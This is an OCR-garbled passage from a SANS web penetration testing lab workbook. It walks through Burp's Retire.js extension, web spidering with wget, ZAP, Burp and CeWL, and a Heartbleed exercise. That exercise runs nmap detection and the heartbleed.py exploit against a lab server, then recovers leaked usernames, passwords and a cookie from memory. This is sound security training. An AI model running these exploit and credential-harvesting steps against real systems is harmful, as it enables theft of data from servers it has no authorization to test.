AES Payloads g rgtaky —| 28 Aug 2015 Pro extension &ftmmmc%e?:ﬂilm,'e:fo"te"tplacfH
4. Scroll down to the Retire.js item in the BApp Store list, select Retire.js by clicking on it, and then click the Install button in the main pane of page to the right.
> Burp Suite Professional v2022.3.9 - Temporary Project - licensed to SANS Institute - 756588 21354562a78ea25d5b0 [1 user license] SEEETE
Burp Project Intruder Repeater Window Help
Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Proxy Intruder Repeater

Extensions BApp Store APls Options

BApp Store @
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities. Jo] |

Name Installed Rating Popularity  Last updated Detail

RESpUINSE Al sp e

L3 rEu suce

Refresh list Manual install

Response Overview 12 Jan 2022

= v I el This extension \ntegral.es Burp .with the Retire.js repository to
3y - r—— find vulnerable JavaScript libraries

I Retirejs gk g gk | 14Dec2021  Proextension I

TP LT g It passively looks. alJavaSLrlp[ﬁles. loaded and identifies those

Same Drigin Method E... 26 Jan 2017 :r:gr:;e;;\ r;:t:‘:t :a:::ef;:ah:':nm’_ Sgnatue-ypes (URL:

SameSite Reporter 12 Jun 2020 Pro extension

SAML Editar 01 Jul 2014

SAML Encoder / Decod.. o1 Jul 2014 Auther: Philippe Arteau

SAML Raider 08 jun 2022 Version: 304

SAMLReQuest 06 Feb 2017 s e B

San Scanner 25 Aug 2021

Scan manual insertion 24 May 2017 Upauted: 14 Dec i

Scope Monitor 07 Oct 2019 Rating: {"-{ﬁ-ﬂ-{ﬁ{_\

Sensitive Discoverer 12 Now 2021 Pro extension . |

Sentinel 10Apr 2017 Proextension PPl ———— 1

Session Auth 24 Jan 2017

Session Timeout Test 01 Jul 2014 m Chck Here

Session Tracking Checks 05 Jan 2018

N

Retire.js

5. Once the installation is complete, a checkmark will appear in the Installed column next to Retire.js within the BApp Store list.
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Extensions BApp Store AFls Options

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.

Name Installed Rating Last updated Detall This extension |
| RESEUISE 1 SR e dd FEW e find vulnerable
Response Overview 12 Jan 2022

It passively (ool

_Hespunse Pattern Mat... 21 Jan 2021 which Afe il
|Retire.js V 14 Dec 2021 Pro extension filename, file cd
| Reverse Proxy Detector 13 Feb 2017
| Same Origin Method E... 26 Jan 2017
| SameSite Reporter 12 Jun 2020 Pro extension Author: Pl
B L e A A A L} - e I
6. Switch back to the Dashboard tab within Burp Pro.
Burp Project Intruder Repeater Window Help
Dashboard rget Proxy Intruder Repeater Sequencer Decoder Comparer

Click Here (‘3

? Filter [:JRunning-::l (:.Pa’used.‘:] l::'-Finished.‘:]

| 1. Live passive crawl from Proxy (all traffic)

7. Return to your Firefox browser window. If you minimized the windows as suggested at the beginning of the lab, click the running instance of Firefox in the menu bar at the top of the

virtual machine window.

Note

in the Lab Setup -> Setup Part 1 section at the beginning of this lab.

If you do not have a running instance of Firefox, relaunch Firefox and set the proxy selector to "Burp Pro" per the instructions

8. Navigate to https:/www.sec542.org/phpbb.

® Sec542 Wiki X | Security542 - Index page x |+

{é) - C @ 0] ‘ £, https:/iwww.sec542.org/phpbb/

£} Most Visited JH Sec542 Wiki Untrusted - a user ja... §J§ Untrusted Solutions

® =
p h p Security542
= Communities Bringing you Breaking News from the InfoSec World

reating

= Quick links @ FAQ

# Board index

9. Return back to Burp Pro, and look in the Issue Activity pane of the Dashboard windows for a reference to Vulnerable version of the library ‘jquery’ found.
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er options

Issue activity

Y Filter ( .Highi'I { Medium ) EvLowl:' '::Info‘ )| {vCertaini:' '::Firm“\ \lvTentatlvel}

377 Apr 2021 Issue found °) Vulnerable version of the library jquery' found

/phpbb/assetsfjavascri

2 2 10:08:37 7 Apr 2021 Issue found i Frameable response (potential Clickjacking) https://www.sec542.... /phpbb/
1 2 10:08:37 7 Apr 2021 Issue found @ strict transport security not enforced https://www.sec542.... /phpbb

1

o

. Select the Vulnerable version of the library ‘jquery’ found entry, and then review the information in the Advisory pane of the Dashboard window.

Note

The advisory mentions that the "issue was generated by the Burp extension: Retire.js."

Advisory Request Response

® Vulnerable version of the library 'jquery’ found

Issue: Vulnerable version of the library 'jquery’ found
Severity:  Medium

Confidence: Tentative

Host: https://www.sec542.org

Path: /phpbb/assets/javascript/jquery.min js

Note: This issue was generated by the Burp extension: Retire.js.

Issue detail

The library jquery version 1.11.0 has known security issues.
For more information, visit those websites:

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].
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n @

e ]

O [System Proxy]

@ Burp Community
Burp Pro

@ Zap

Y localhost ~

/& Options

i

3. Close the following windows:
* Burp Pro
* Firefox browser

« Terminal window
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Exercise 1.Bonus - Testing and Exploiting Heartbleed

Objectives

Exploit a software configuration flaw with significant impact: Heartbleed

« Discover the Heartbleed vulnerability

Gain hands-on experience with the ssl-heartbleed Nmap NSE script

« Exploit Heartbleed to steal data from vulnerable system

Lab Setup

1. Log in to Security542 VM:
* Username: student

*+ Password: Security542

2. Open a terminal by clicking the terminal icon on the upper panel.

3. Start the Docker nginx heartbleed container by typing the following command

/labs/heartbleed.sh

[~ Terminal - student@Security542; ~
File Edit View Terminal Tabs Help
[~]1$ /labs/heartbleed.sh
Creating heartbleed nginx_ 1 ...
Creating heartbleed nginx_1 ...
Attaching to heartbleed nginx 1

done

4. Leave the command running as you perform the lab.

5. Two targets are in scope for this lab:

* https://www.sec542.org

« https://heartbleed.sec542.org

Challenges
*Use Nmap's ssl-heartbleed NSE scriptto determine if the targets are vulnerable to Heartbleed.
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Solution - www.sec542.org

1. Use Nmap to run the ssl-heartbleed NSE script against https:/www.sec542.org.

2. Open a new terminal and type the following:

nmap -p 443 -sV --script ssl-heartbleed www.sec542.org

3- Note that nmap requires the =SV (service detection) flag to detect heartbleed on a non-standard port. We are using the standard port (443) in this lab, but many "smart"

appliances use other ports. Keep that in mind for future penetration tests.

4. Your output should look like the following screenshot:

At Terminal - student@Security542: = =

File' Edit View Terminal Tabs Help:

Starting Nmap 7.76 ( https://nmap.org ) at 2021-64-13 20:12 UTC
Nmap scan report for www.sec542.org (10.42.42.42)

Host is up (0.000074s latency).

PORT STATE SERVICE VERSION
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
| http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap ione: 1 IP address (1 host up) scanned in 12.46 seconds
[-1%

5. Does https://sec542.org appear vulnerable to Heartbleed?

Note

There is no output from the ssl-heartbleed NSE script, indicating the server is not vulnerable.
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Solution - heartbleed.sec542.org

1-UseNmaptorunthe ss1—heartbleed NSE script against https:/heartbleed.sec542.0rq.

2. Type the following in a terminal window:

nmap -p 443 -sV --script ssl-heartbleed heartbleed.sec542.org

3. Your output should look like the following screenshot:

g Terminal - student@Security542: ~ —
File' Edit View Terminal Tabs Help

[~]% nmap -p 443 -sV --script ssl-heartbleed heartbleed.sec542.o0rg
Starting Nmap 7.70 ( https://nmap.org ) at 2021-04-13 20:14 UTC
Nmap scan report for heartbleed.sec542.org (172.18.0.2)

Host is up (0.00030s latency).

PORT STATE SERVICE VERSION

443/tcp open ssl/http nginx 1.11.13

| http-server-header: nginx/1.11.13

| ssl-heartbleed:

| VULNERABLE:

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic softwar
e library. It allows for stealing information intended to be protected by SSL/TLS encryption.

| State: VULNERABLE

| Risk factor: High

| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-betal) of O
penSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protec
ted by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted c
onfidential information as well as the encryption keys themselves.

I
| References:

| http://cvedetails.com/cve/2014-016@/

| http://www.openssl.org/news/secadv_20140407. txt

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20814-0160

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.43 seconds
~1s il

4. Does https://heartbleed.sec542.org appear vulnerable to Heartbleed?

Note

See the difference in output compared to the previous scan against www.sec542.org.

« Exploit the Heartbleed vulnerability to steal the following from a vulnerable OpenSSL server's RAM:
* Username
+ Password

« Cookie

Note

SensePost's Heartbleed exploit script (/usr/local/bin/heartbleed.py) is included in the course VM.
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Warning

RAM is unpredictable. This exercise usually requires running heartbleed.py twice in order to see credentials in RAM. However, it
may require additional attempts, depending on the state of your RAM.
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Solution

T- Let's use SensePost's Heartbleed exploit script ( heartbleed . py ) to steal RAM from the vulnerable OpenSSL server.
2. Open Firefox and surf to https:/heartbleed.sec542.org.

Note

You must use Firefox; Chrome handles the referrer field differently than Firefox. As a result, some values will not appear in the
Heartbleed RAM dump you are about to perform.

Note

Please remember to use HTTPS.

w

Enter any username and password.

Note

the password.

Please remember what you entered for each. In the following example, we chose userl asthe username, and passl as

4. Then click Submit. Do not save the username and password if prompted by Firefox.
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v Heart (bleed) of Gold — Mozilla Firefox =

Heart (bleed) of Gold X | +

e ) [@‘ﬂwo https://heartbleed.sec542.0rg oo ol ¥ N @ ® @& ‘.

£+ Most Visited

§ Sec542 Wiki . Untrusted - a user ja... §J§ Untrusted Solutions

Welcome to the Heart (bleed) of Gold server!
All traffic is encrypted with SSL. We take security seriously!

Please enter your username and password to log in.

Enter your username: ‘ user1 ‘

Enter your password: ‘ ----- | ‘

| submit |

5. We will later dump these values from RAM via the Heartbleed exploit.

Note

RAM is unpredictable! Your RAM is different than your neighbor's RAM, etc.

Note

additional attempts, depending on the state of your RAM.

This exercise usually requires running heartbleed.py twice in order to see credentials in RAM. However, it may require

6. Open a terminal window and type the following:

heartbleed.py -h
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~ Terminal - student@Security542: ~
File Edit View Terminal Tabs Help

[~1$ heartbleed.py -h
Usage: heartbleed.py server [options]

Test for SSL heartbeat vulnerability (CVE-2014-0160)

Options:
-h, --help show this help message and exit
-p PORT, --port=PORT TCP port to test (default: 443)
-n NUM, --num=NUM Number of heartbeats to send if vulnerable (defines

how much memory you get back) (default: 1)
-f FILE, --file=FILE Filename to write dumped memory too (default:

dump.bin)
-q, --quiet Do not display the memory dump
-s, --starttls Check STARTTLS (smtp only right now)

7- As you can see, heartbleed has a number of options. We willuse —f /home/student/dump.bin tosavealocal copy of the RAM contents that are disclosed via
heartbleed. Please note that when usingthe —F  option, the location must be writable by that user. By default, heartbleed.py wilwrite dump.bin tothe current

directory.
heartbleed.py -f /home/student/dump.bin heartbleed.sec542.org | less

8. Initial output should appear similar to the following, with aforementioned caveats about RAM being nondeterministic:
9. Scroll down (press the space bar) and see what was retrieved from the vulnerable OpenSSL server's RAM.
10. The username and password will not be there yet.

11. You should see a cookie value: What is it?

Warning

If you receive an error, make sure to run from a location that allows you to write files (e.g. /home/student).

Note

The username and password will not be present after the first form submission; they will typically be there after the second

form submission (coming up in the next step).

Note

Type q toquit less.

12. Go back to Firefox and enter a different username and password. Then click Submit again.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 61


https://technet24.ir

v

Heart (bleed) of Gold X

+

Heart (bleed) of Gold — Mozilla Firefox

(&)= C @ ['ﬁji' https://heartbleed.sec542.org

%+ Most Visited J[H Sec542 wiki [@] Untrusted - a user ja... JIH Untrusted Solutions

N @

© & &

Welcome to the Heart (bleed) of Gold server!
All traffic is encrypted with SSL. We take security seriously!

Please enter your username and password to log in.

Enter your username: ‘ user2

Enter your password: ‘ =

| submit |

13. Return to the terminal window and rerun the previous command.

14. Scroll through the output, and look for the first username and password entered.

Note

If you still don't see the username and password, enter a third set of credentials and run heartbleed.py again.

Note

that: be sure to restart the heartbleed container.

As noted previously: RAM is volatile and is in a different state for each student. If you don't see the username and password,
then run heartbleed.py again. Occasionally additional rounds are required, depending on the state of your RAM. Sometimes
rebooting the VM (type reboot in aterminal) and starting over helps make the results more predictable. If you decide to to

62 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

Note

If you receive an error, make sure to run from a location that allows you to write files (e.g. /home/student).

-

File  Edit
00d0:
00el:
PBfo:
0100:
0110:
0120:
0130:

Wiew  Terminal Tabs

10
70
3D
41
20
0A
3A

00
70
30
63
65
41
20

11
6C
2E
63
6E
63
67

00
69
39
65
2D
63
7A

23
63
2C
70
55
65
69

Help.

00
61
2A
74
33
70
70

00
74
2F
2D
2C
74
2C

00
69
2A
4C
65
2D
20

OF
6F
3B
61
6E
45
64

00
6E
71
6E
3B
6E
65

0140: 20 62 72 @D BA 52 65 66 65 72
0150: 74 70 73 3A 2F 2F 68 65 61 72
0160: 2E 73 65 63 35 34 32 2E 6F 72
0170:
0180:
0190:
01a0:
01b0:
01lcO:
01d0:
0led:
01fe: B4 AE 13 BD DF 6E F7 D2 36 2F
0200: C2 D4 7E 73 B9 73 75 38 80 69
0210: 00 09 08 03 04 03 03 63 62 03
0220: 16 04 B3 65 03 06 03 08 04 08
0230: 01 06 01 82 03 02 ©1 06 2D 08
0240: 02 40 01 CO 56 C0 7D CO 4A Co
0250: 51 00 64 C0 4D CO A8 C@ 45 (8
0260: 40 CO 3E CO 36 CO B7 CO 35 08

01
2F
3D
67
71
63
66

01
78
30
75
3D
6F
6C

6D
6D
2E
61
30
64

Terminal - student@Security542: ~

6C
6C
38
67
2E
69

P A S ml,a
pplication/xml;q
=0.9,*%/*;9=0.8..
Accept-Language:
en-Us,en;g=0.5.
.Accept-Encoding
: gzip, deflate,
br..Referer: ht
tps://heartbleed

Xx.html?username=
userl&password=p
assl..Connectiaon

keep-alive. .Co

okie: Answer='42
' .Upgrade-Insec

vty e B 1

Note

(Answer = '42')

Our first username (user1 ) and password ( pass1 ) are revealed in RAM, along with the cookie set by the web page

15. Now view the printable strings in the dump.bin file with this command:

strings /home/student/dump.bin

File Edit View Terminal Tabs Help

[~]1$ strings /home/student/dump.bin
ml,application/xml;q=0.9,*/*;0=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate, br

Connection: keep-alive
Cookie: Answer='42"'
Upgrade-Insecure-Requests: 1
p!'Qc

A Terminal - student@Security542: ~

Referer: https://heartbleed.sec542.0rg/index.html?username=userl&password=passl
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1. Stop the Heartbleed Docker container by typing the following command in a terminal:

stop-containers.sh

Thanks to Andrew Kennedy (@L1fescape) for his POC web page that we based the Heart (bleed) of Gold server on.
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Exercise 2.1 - Web Spidering

Objectives

+ Gain experience spidering web applications
* Work with wget , ZAP, Burp Suite, and CeWL
+ Build a wordlist from a web page

« Discover accessible and linked application entry points

Challenges
wget

*Use wget to recursively spider http:/sec542.org and store the results in /tmp .

» Compare the results from wget with the files and folders of the actual site, located in /var /www/html .
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Solution

1. wget is a useful command-line utility that can download data via http, https, and ftp. This spider function is one of its most useful features.

2. Open a terminal and spider the site:

wget -r http://sec542.org -P /tmp

Note

This recursively spiders the website ( -r flag) and saves the results to /tmp/sec542.0org (-P /tmp option). Be sure to

use an uppercase P .

3 Then visually inspect the remote spider results now storedin /tmp/sec542.0rg with the real site located at /var /www/html .

4. Type the following command to see the spider results at a high level:

1s /tmp/sec542.org

s Terminal - -s_tudeh_t@se:r,Sdz: = — g e
File' Edit WMiew Terminal Tabs Help:
[~1% 1s /tmp/sec542.o0rg

dns-lookup images mutillidae robots.txt userenum
form I index.html phpbb sgli webcalendar
[~1%

5. Type the following command to see the actual contents at a high level:

1s /var/www/html

[~1$ ls /var/www/html

basic earth.jpg index.html sans.gif untrusted
book.php exercisel.html mutillidae userenum
bunny.html exercises phpbb sensitive webcalendar
cancan.mp3 favicon.ico phpinfo.php shake.css wordpress

collab form PhpMyAdmin shake.js wordpress-471.old
cookiecatcher.php form2 pwn snake wordpress.old
digest guide python sqli Www.Sans.org
dns-lookup images robots.txt test

6. Notice how many files and directories the spider missed that exist on the actual site.

7. While it's not formally part of the lab, you could also use the following command for a more detailed listing of differences between the folders:

diff -q /var/www/html /tmp/sec542.org

Note

To see even more detail about the subdirectory differences add an (-r) switch to the previous command:

diff -qr /var/www/html /tmp/sec542.org
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ZAP

+ Configure Firefox to use ZAP as its proxy.

* Recursively spider https:/sec542.org using ZAP.

« Explore the results.
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Solution

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen:

Note

ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times
during the delay. Run one instance of ZAP only.

Warning

Multiple instances of ZAP are running if you see this warning:

= =
A Proxy port 8081 was in use. Try: 8082 &

Yes No

In this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.

Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.
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3. Configure Firefox to use the running proxy.

4. In Firefox, select ZAP from the proxy selector drop-down.

n o .

<" [Direct]
| ® [System Proxy]
@ Burp Community
Burp Pro
\ Zap

Y localhost ~

/& Options

Note

Always use the proxy selector to manage Firefox's proxy settings. Do not use other methods.

5. In Firefox, surf to https:/sec542.org.

6. 1n ZAP, go to the History tab and right-click on the GET to https://sec542.orq. Then choose Attack -> Spider.
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File Edit View Analyse Report Tools Import Online Help

>

| Standard Mode - UEdE g R i EaoaiEeEzmE &8 V@b ) @ X @&
@ sites == $ 43 Quick Start # = Reguest 4= Response ==

ezl

~ [} contexts
[Z] Default Context
~ @ Sites

g P https:/fsec542.0rg

ZAP is an easﬂ
applications.

If you are newt

Ay

= Delete
= History %, Search  [Walerts |- output | Break...

@ @ 7 Filter OFF & Export ‘ s ota a0y

Id Sou.. Req. Timesta... Met.., URL
41 4/21, 5:15...

https:/isec542.orc

Include in Context
Flag as Context
Run application
Exclude from Context
Il open/Resend with Re
Exclude from

Alerts for This Node

Generate Anti-CSREE

Imvoke with Script..

Add to Zest Script

Open URL in System Browser
| Copy URLs to Clipboard

Mews
NI Manage Tags...
| Mote...

est Editor...

B Active Scan...

b ¢ Forced Browse Site

)! # Forced Browse Directory

)! # ' Forced Browse Directory (and
| S8 AJAX Spider...

> & Fuz..

o

| aarn Mnra

Learn Mare .
Delete
> |
| ... Highest.. M. Tags i

~

On the next menu, choose Start Scan.

Scope

Starfing Paint: https:fisec542.org/

Context:

User;

Recurse: ]
Spider Subtree Only ]

Show Advanced Options ||

& Start Scan

@ select...

Reset

Cancel

8. As seen in the following output, a new Spider tab will be added to the bottom and will show the progress and some results of the spidering process. Newly-identified paths and

resources will be visible in the Sites tab after expanding https://sec542.org.
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b

L dns-lookup
| | GET:favicon.ico

[ P % form

+ L1 icons

5 History  ©4 Search

URLs Added Modes

:_Standard Mode ¥l J_Q_EL’J_%I =

u Alerts

5 New S... Progress:| 0: https://sec542.org/

OWASP ZAP - OWASP ZAF 2.10.0 -~

File Edit Wiew Analyse Report Tools Import Online Help

EE -l T WL

& sites = ; 4 Quick Start  =r Request 4= Response e
(1 o o Ol | Header: Text ~ || Body: Text < | =k &
e GET https://sec542.org HTTP/1.1
‘e ! User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB6_64; rv:86.0) Gecko/20100101 Firefox
| P GETY /86.0 . - :
" ; Accept: textshtml,application/xhtml+xml.application/xml;:qg=0.9,1image webp,*/*;q=0.8
L| # GET:admin Accept-Language: en-US,en;q=08.5
| | M GET:advanced_st | Connection: keep-alive
» % basic . Referer: http://localhost:8000/Labs /542 2/1/s5ec542.2.1/
= ' Cookie: phpbb3 grk7n_u=l; phpbb3 grk7n_k=; phpbb3 grk7n_sid=
» L ™ cgi-bin e0d0798b161e6cb3cl2eeedfl5af2bla
v P collab Upgrade-Insecure-Requests: 1
5 ; Host: sec542.org
> L% digest

| Qutput S spider # x4k

% Current Scans: 0 URLs Found: 1042 Modes Added: 274 ¢ Export &;

Messages

Processed Method

[:H

URI Flags

https:/fsec542. org/

= GET https:/fsec542.org/robots. txt Seed

= GET https:/fsec542, orgfsitemap.xml Seed

=] GET https:ffheartbleed.sec542 orgfinden. html Out of Scope
=] GET https:fisec542.org/basic/

=] GET https:/fsec542.org/digest/

- GET https:/fsec542,oraform/

Alerts WO W7 FU11 M4 Primary Proxy: localhost:8081

Current Scans 4 0 0 o 20 @0 %o , 0 #o|

Burp Suite

+ Use Burp Pro's New scan feature to crawl https:/sec542.org.

*Include both http: and https: sites
* Include sec542.org and any subdomains

« Explore the results
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Solution

1. Launch Burp Pro by clicking the Burp icon in the upper panel.

2. Wait for Burp Pro to launch.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

3. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X
Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' \ Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

o

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro

instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port
8080 because it is in use by another instance.

>

Burp Pro (as of version 2.X) now has a fully-featured scanner than can run independently of a browser. Let's try it out!

Note

For those who have used previous versions of Burp Suite, this is a new workflow for Burp Suite version 2.X.

5. In Burp, click the "New scan" button on the dashboard.
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b Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588 1916656075c474c42dd [1 user license]
Burp Project Intruder Repeater Window  Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

rase @B e sciviy @/

? Fiiter [ Running | \_-Pau nished | NE Filter {High | | Medium | | Low | E:Infn "'. | Certain | | Firm | | Tentative || search |

3 # Task Time Action Issue type
1. Live passive craw! from Proxy {all traf typ

Add links. Add item itself, same d... 0 items a
Capturing: o

2. Live audit from Proxy {all traffic) @ ‘Ej‘

Audit checks - passive Issues: o o o o

0 responses proc

0 responses queued

"
Event log (3. st d
- 1 ] - IR E—

Time Type Source
17:28:10 14 Apr 2021 Info Proxy Proxy service started on 1

Memory: 665MB [T 1 Dislc243k8 [ 1

6-Then choose Crawl and enter https://sec542.0rg/ inthe URLs to Scan box. Then check on Detailed scope configuration.

bt New scan

6 Scan Type

5taf detalls (1 Crawl and audit

o Crawl
e

e URLs to Scan
configuration

Define the URLs to scan. Burp will begin crawling from these URLs, and by default will
_E include everything beneath the specified URLs' folders.

Application

login https:/fsec542 org/

Protocol settings

o Scan using HTTP & HTTPS I 5can using my specified protocols:

» Detailed scope configuration

©) [ ok | [ cance |

7. Then select Use advanced scope control and click Add. A window labelled Add URL to include in scope will pop up. Choose Any for the protocol and enter the following regular

expression in the Host or IP range field: «*?sec542.0rg$ .
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9

Scan detatls

5

Secan
configuratian

2]

Application
login

@

Resource
pool

Protocol settings

o Scan using HTTP & HTTPS ) Scan using my specified protocols

~ Detailed scope configuration

You can configure @ more detailed scope configuration using either URL prefixes or advanced matching rules. Note
that the URLs to scan must fall within the defined scope, and will still be used as the starting point for the crawl.

¥ Add URL to include in scope + X

Use
@ Specify a reqular expression to match each URL component, or leave blank to
Inclue match any item. An IP range can be specified instead of a hostname.

Enable Protocol: | Any b | Add |
| Edit |
Port: | Enter reqex or feove blonk | Remove |

Host or IP range: : I*?sec542.urg$

File: | Enter regex or legve bignk | Paste URL |
load . |
il | PasteURL | ok || cancel |

©)

| OK | | Cancel

8. Choosing Any for the protocol ensures both HTTP and HTTPS content will be scanned. The string « *2S€c542. org$ is a regular expression (search pattern) that matches

sec542.0rg (the dollar sign matches 'end’). The preceeding «* means any string can precede S€c542.0rg (suchas dvwa.sec542.0rg or

www.sec542, Or g ), and the question mark means that part is optional (meaning sec542.org also matches).

9. Then click OK in the Add URL to include in scope box.

10. Then click Scan configuration and choose New. Select Crawl limits and limit the crawl time to 5 minutes. Also set Maximum unique locations discovered to 500. This will discover a

lot of content in a reasonable amount of (lab) time. Then click Save.
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1

-

12.

13.

v New scanning configuration — -

@ Configuration name: | Crawling configuration 1

Expand the areas that you want to define in this configuration.

> Crawl Optimization Not defined

\v Crawl Limits

® Crawling modern applications is sometimes an open-ended exercise, due to the amount of stateful functionality, volatile
content, and unbounded navigation. Burp's crawler uses various techniques to maximise discovery of unique content early in
the crawl. These settings let you impose a limit on the extent of the crawl, as it reaches the point of diminishing returns. You
can leave any crawl limit setting blank to disable it.

Maximum crawl time: minutes

Maximum unique locations discovered:

1il

Maximum request count:

> Login Functions Not defined

> Handling Application Errors During Crawl Not defined

> Miscellaneous Not defined
Save to library ‘ Save ‘ | Cancel

. Then click OK in the New scan window. The scan will begin.

Note

You may hear your computer's CPU fan speed up as the scan kicks off.

Go to Burp's Dashboard and view the Tasks. You may need to scroll down to see the progress of the live scan.

Toss OB

? Filter I:Running::l I:: Paused l l Finished I

1. Live passive craw| from Proxy (all traffic @ {@} @
Add links. Add item itself, same d... Ditems added to site map

Capluring: D 0 responses processed
O responses queued

2. Live audit from Proxy (all traffic) @ {§} ‘E‘IJ' E}I
Audit checks - passive Issues: o G o o
c s D requests {0 errors)

apturing: o

View details ¥»

3. Craw| of sec542.arg @ ‘{E‘} @ E/"'

Crawling configuration 1 1457 requests {1 errors)
[—

Unauthenticated crawl. Estimatin...

273 locations crawled

Go to Burp's Target -> Site Map and note the site map is populating.
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder Cor

Site map Scope Issue definitions

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding

http://dvwa.sec542.org Contents
http://sec542.0rg Host Method URL Params S
> O |https://secs42.0rg |
http://www.sec542.0rg https://sec542.org GET / 2
s B https://www.sec542.0rg https://sec542.org GET /cgi-bin/netstat.cgi 2
https://sec542.org GET /collab/ 2
https://sec542.org POST  /collab/index.php v 2
https://sec542.org GET /dns-lookup/ 2
https://sec542.org POST  /dns-lookup/ v 2
https://sec542.org GET /form/ 2
https://sec542.org POST  /form/login.php v 2

14. The site map will continue to update as the scan runs, so feel free to move to the next section, and let Burp perform its work in the background.

15. As you can see, Burp displays a chart of resources found as well as various pieces of information regarding each of them. Selecting an item fills in the boxes to the right. The top

displays all the files that link to this resource. The bottom can show both the raw request and the response, as well as a hex view and a render view (only available for responses).

16. Note that Burp finds a variety of "sites" that map to the same virtual host: of content on the same site:
+ http://www.sec542.org
+ https://www.sec542.org
+ https://sec542.org

17. This is common for websites that are available via both with and without WWW that are also available via both HTTP and HTTPS.

18. Note that the 401s are not normally visible unless you click the filter options at the top of the screen and check the box to display.

19. If you have time, check out the other features of Burp and enjoy the tools!

CeWL

+ Use CeWL (located at /usr/bin/cewl ) to crawl https:/sec542.org and create a wordlist.
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Solution

1. We will now use CeWL to spider http:/sec542.org and create a list of unique words used on the site.

2. Open a terminal and run CeWL:

cewl http://sec542.o0rg

- Terminal - student@sec542: ~ S
File  Edit Wiew Terminpal Tabs Help:

[~1% cewl http://sec542.o0rg [
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Web

Authentication

SANS

Pen

Testing

and

Ethical

Hacking

Shellshock

netstat

cgi

Harvesting

Mutillidae

SQL

Injection

BeEF

Exercise

Security

Heartbleed

Basic

Digest

Forms

3- You can also write the results to a file by adding —w /home/student/cewl_wordlist .

4. This creates a wordlist for use in password attacks.

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].

m o

o

© [System Proxy] r

@ Burp Community
Burp Pro

@ Zzap

Y localhost ~

/& Options
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Exercise 2.2 - ZAP and ffuf Forced Browse

Objectives

+ Build upon hosts found via DNS brute forcing

« Discover unlinked content in applications

+ Gain hands-on experience with ZAP's Forced Browse
+ Gain hands-on experience with ffuf

+ Understand how forced browsing complements crawling/spidering

Lab Setup

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen:

Note

ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times
during the delay. Run one instance of ZAP only.

Multiple instances of ZAP are running if you see this warning:

o x R
Q Proxy port 8081 was in use. Try: 8082

Yes No

In this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.
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Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.

3. Configure Firefox to use the running proxy.

4. In Firefox, select Zap from the proxy selector drop-down.

n @

«" [Direct]

® [System Proxy]

@ Burp Community
Burp Pro

| zap

Y localhost ~

/ Options

Note

Always use the proxy selector to manage Firefox's proxy settings. Do not use other methods.

5. Surf to http:/cust42.sec542.net.

Note

Recall we discovered this name during the DNS brute force exercise.
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=
h

Mazilla Firefox

cLstd2 sech42. et/ X | -4

— = & & ‘-j;j- ‘LSt 2 sec542.net i’.“!| 2| =

L Most Visited

6. Press Ctr1-U to view the HTML source code.
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- http://custdz sec542.net/ - Mozilla Firefox - X

hittpe/cust42 sec542 net/ x |+

|f (—/,l = G G l (i) view-source:http://cust42 “en wlo» =
-m- Maost Visited

<!DBCTYPE hitml>
<html lang="en">
<head>
</head=
<body=
<div style="height: 250px"=>
<img src="Expedition-42.]jpg" alt="" style="width: 180%" />
<fdiv=
</body>
</html>

7. As you can see, this is simplistic source code. There is a single image link and not much else. This is a minimalist, yet awesome,

web page.

Challenges

Perform the following tasks:

» Use ZAP's Forced Browse to discover unlinked URLs at http://cust42.sec542.net.
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Solution

1. In ZAP right-click on http:/cust42.sec542.net from the History tab, choose Attack, and then choose Force Browse site.

